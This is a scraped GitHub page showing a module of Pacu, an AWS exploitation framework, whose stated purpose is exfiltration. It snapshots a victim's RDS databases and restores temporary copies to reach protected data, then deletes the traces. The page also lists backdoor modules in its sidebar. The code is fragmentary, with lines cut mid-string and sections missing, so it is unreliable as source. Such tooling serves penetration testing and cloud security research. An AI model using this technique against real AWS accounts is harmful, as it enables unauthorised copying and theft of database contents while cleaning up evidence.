pacu / pacu / modules / rds__explore_snapshots / main.py

Ryan Gerstenkorn Support for packaging (#247) 743f9c9 · 3 years ago History

Code Blame 253 lines (217 loc) · 9.02 KB Raw

```python
#!/usr/bin/env python3
import argparse
from pathlib import Path
import json
import random
import string

from botocore.exceptions import ClientError

module_info = {
    'name': 'rds__explore_snapshots',
    'author': 'Alexander Morgenstern alexander.morgenstern@rhinosecuritylabs.com',
    'category': 'EXFIL',
    'one_liner': 'Creates copies of running RDS databases to access protected informati
    'description': 'Creates a snapshot of all database instances, restores new database
    'services': ['RDS'],
    'prerequisite_modules': [],
    'external_dependencies': [],
    'arguments_to_autocomplete': ['--regions'],
}
parser = argparse.ArgumentParser(add_help=False, description=module_info['description']
parser.add_argument('--regions', required=False, default=None, help='One or more (comma

TEMP_FILE = Path(__file__).parent / 'temp.json'
WAIT_CONFIG = {'Delay': 10}


def mark_temp(resource):
    if 'DBInstanceArn' in resource:
        key = 'Instances'
        identifier = resource['DBInstanceArn']
    else:
        key = 'Snapshots'
        identifier = resource['DBSnapshotArn']
    data = read_temp()
    data[key][identifier] = resource
    write_temp(data)


def remove_temp(resource):
    if 'DBInstanceArn' in resource:
        key = 'Instances'
        identifier = resource['DBInstanceArn']
    else:
        key = 'Snapshots'
        identifier = resource['DBSnapshotArn']
    data = read_temp()
    del data[key][identifier]
    write_temp(data)


def read_temp():
    with TEMP_FILE.open('r') as infile:
        data = json.load(infile)
    return data

```

guardduty__whitelist_ip
iam__backdoor_assume_role
iam__backdoor_users_keys
iam__backdoor_users_password
iam__bruteforce_permissions
iam__detect_honeytokens

```
def write_temp(data):
    with TEMP_FILE.open('w') as outfile:
        json.dump(data, outfile, default=str)


def cleanup(pacu):
    data = read_temp()
    success = True
    for instance in data['Instances']:
        client = pacu.get_boto3_client('rds', data['Instances'][instance]['Availability
        if not delete_instance(client, instance, pacu.print):
            success = False
    for snapshot in data['Snapshots']:
        client = pacu.get_boto3_client('rds', data['Snapshots'][snapshot]['Availability
        if not delete_snapshot(client, snapshot, pacu.print):
            success = False
    return success


def main(args, pacu):
    """Main module function, called from Pacu"""
    args = parser.parse_args(args)
    if args.regions:
        regions = args.regions.split(',')
    else:
        regions = pacu.get_regions('rds')
    if not cleanup(pacu):
        if pacu.input('  Cleanup Failed. Continue? (y/n) ') != 'y':
            return {'fail': 'Failed to delete temporary data.'}
    summary_data = {'instances': 0}
    for region in regions:
        pacu.print('Region: {}'.format(region))
        client = pacu.get_boto3_client('rds', region)
        pacu.print('  Getting RDS instances...')
        active_instances = get_all_region_instances(client, pacu.print)
        pacu.print('  Found {} RDS instance(s)'.format(len(active_instances)))
        for instance in active_instances:
            prompt = '    Target: {} (y/n)? '.format(instance['DBInstanceIdentifier'])
            if pacu.input(prompt).lower() != 'y':
                continue
            pacu.print('    Creating temporary snapshot...')
            temp_snapshot = create_snapshot_from_instance(client, instance, pacu.print)
            if not temp_snapshot:
                pacu.print('    Failed to create temporary snapshot')
                continue

            pacu.print('    Restoring temporary instance from snapshot...')
            temp_instance = restore_instance_from_snapshot(client, temp_snapshot, pacu.
            if not temp_instance:
                pacu.print('    Failed to create temporary instance')
                delete_snapshot(client, temp_snapshot, pacu.print)
                continue

            process_instance(pacu, client, temp_instance)

            pacu.print('    Deleting temporary resources...')
            delete_instance(client, temp_instance, pacu.print)
            delete_snapshot(client, temp_snapshot, pacu.print)
            summary_data['instances'] += 1
    if not cleanup(pacu):
        summary_data['fail'] = 'Failed to delete temporary data.'
```

```
            WaiterConfig=WAIT_CONFIG,
        )
        try:
            response = client.delete_db_snapshot(
                DBSnapshotIdentifier=snapshot['DBSnapshotIdentifier']
            )
            remove_temp(response['DBSnapshot'])
            return True
        except ClientError as error:
            print('      ' + error.response['Error']['Code'])
        return False


def delete_instance(client, instance, print):
    waiter = client.get_waiter('db_instance_available')
    waiter.wait(
        DBInstanceIdentifier=instance['DBInstanceIdentifier'],
        WaiterConfig=WAIT_CONFIG,
    )
    try:
        response = client.delete_db_instance(
            DBInstanceIdentifier=instance['DBInstanceIdentifier'],
            SkipFinalSnapshot=True,
        )
        remove_temp(response['DBInstance'])
    except ClientError as error:
        print('      ' + error.response['Error']['Code'])
```

```
            return False
        waiter = client.get_waiter('db_instance_deleted')
        waiter.wait(
            DBInstanceIdentifier=instance['DBInstanceIdentifier'],
            WaiterConfig=WAIT_CONFIG,
        )
        return True


def create_snapshot_from_instance(client, instance, print):
        waiter = client.get_waiter('db_instance_available')
        waiter.wait(
            DBInstanceIdentifier=instance['DBInstanceIdentifier'],
            WaiterConfig=WAIT_CONFIG,
        )
        try:
            response = client.create_db_snapshot(
                DBSnapshotIdentifier=instance['DBInstanceIdentifier'] + '-copy',
                DBInstanceIdentifier=instance['DBInstanceIdentifier'],
            )
            mark_temp(response['DBSnapshot'])
            return response['DBSnapshot']
        except ClientError as error:
            print('      ' + error.response['Error']['Code'])
        return {}


def get_all_region_instances(client, print):
        out = []
        paginator = client.get_paginator('describe_db_instances')
        pages = paginator.paginate()
        try:
            for page in pages:
                out.extend(page['DBInstances'])
            return out
        except ClientError as error:
            print('    ' + error.response['Error']['Code'])
            return []


def summary(data, pacu_main):
        if 'fail' in data:
            out = data['fail'] + '\n'
        else:
            out = '  No issues cleaning up temporary data\n'
        out += '  {} Copy Instance(s) Launched'.format(data['instances'])
        return out
```